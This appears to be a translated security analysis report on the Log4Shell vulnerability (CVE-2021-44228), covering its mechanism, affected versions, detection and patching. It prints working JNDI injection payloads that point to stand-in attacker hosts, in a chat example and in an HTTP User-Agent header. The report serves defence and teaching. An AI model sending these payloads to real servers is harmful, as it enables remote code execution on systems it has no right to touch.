
CVE-2021-44228
Igloo Corporation Won Chi-hyun Log4shell Analysis Report
CVE-2021-44228 Log4j is a free and open-source Java-based logging utility by the Apache Software Foundation, capable of logging various Java-based services. It uses JNDI Lookup to reference data and objects discovered via JNDI, leveraging resources found through Java LDAP 1389 Lookup JNDI.
Vulnerable server running Docker image file download sudo git clone sudo docker build . -t vulnerable-app Creates a new Docker image named vulnerable-app by building in the current directory.
github.com/welk
Stop unused vulnerable server docker ps -a Check all running Docker images docker container ID 확인
Log4Shell (CVE-2021-44228) is a Remote Code Execution (RCE) vulnerability found in the Apache Log4j library.
Attackers can use malicious payloads to execute arbitrary code, potentially causing widespread damage.
This report analyzes the principles, impact, exploitation cases, detection, and response methods for Log4Shell.
| Item | Description |
|---|---|
| Vulnerability Name | Log4Shell |
| CVE Number | CVE-2021-44228 |
| Vulnerability Type | Remote Code Execution (RCE) |
| Affected Versions | Log4j 2.0-beta9 ~ 2.14.1 |
| Patched Versions | Log4j 2.15.0 and above |
| Attack Complexity | Low (exploitable with simple string input) |
| Severity | 🔥 Critical (CVSS 10.0) |
Log4Shell exploits a vulnerability in the JNDI (Java Naming and Directory Interface) lookup feature, allowing attackers to execute malicious code from a remote server.
Attackers can exploit the vulnerability simply by having the following string logged:
${jndi:ldap://attacker.com:1389/exploit}
The Log4Shell vulnerability affected numerous companies and services using Log4j.
Attackers could take over a server by entering the following string in the Minecraft chat window:
${jndi:ldap://attacker.com:1389/exploit}
When the server records this in its log, the JNDI Lookup executes malicious code from the attacker's server.
Attackers inject malicious payloads into fields logged in HTTP requests, such as User-Agent, Referer, X-Forwarded-For, etc. Example:
GET / HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://malicious.com:1389/exploit}
✅ Use Security Scanners
✅ Check Log Files
${jndi:ldap://...} are found in logs, immediate response is required.✅ Network Monitoring
✅ Immediate Actions
-Dlog4j2.formatMsgNoLookups=true
jndi:ldap:// in firewalls and IDS/IPS.✅ Long-Term Security Measures
| Log4j Version | Remediation Action |
|---|---|
| 2.0-beta9 ~ 2.14.1 | Vulnerable, update required |
| 2.15.0 | JNDI Lookup disabled by default |
| 2.16.0 | JNDI functionality completely removed |
| 2.17.0 | Additional security hardening measures |
✅ Update to the latest version (2.17.1 or higher) is recommended!
Log4Shell (CVE-2021-44228) is considered one of the most severe security vulnerabilities in recent years.
✅ It is essential to quickly patch vulnerable systems and perform continuous security monitoring.
✅ Security checks must be conducted on all applications using Log4j.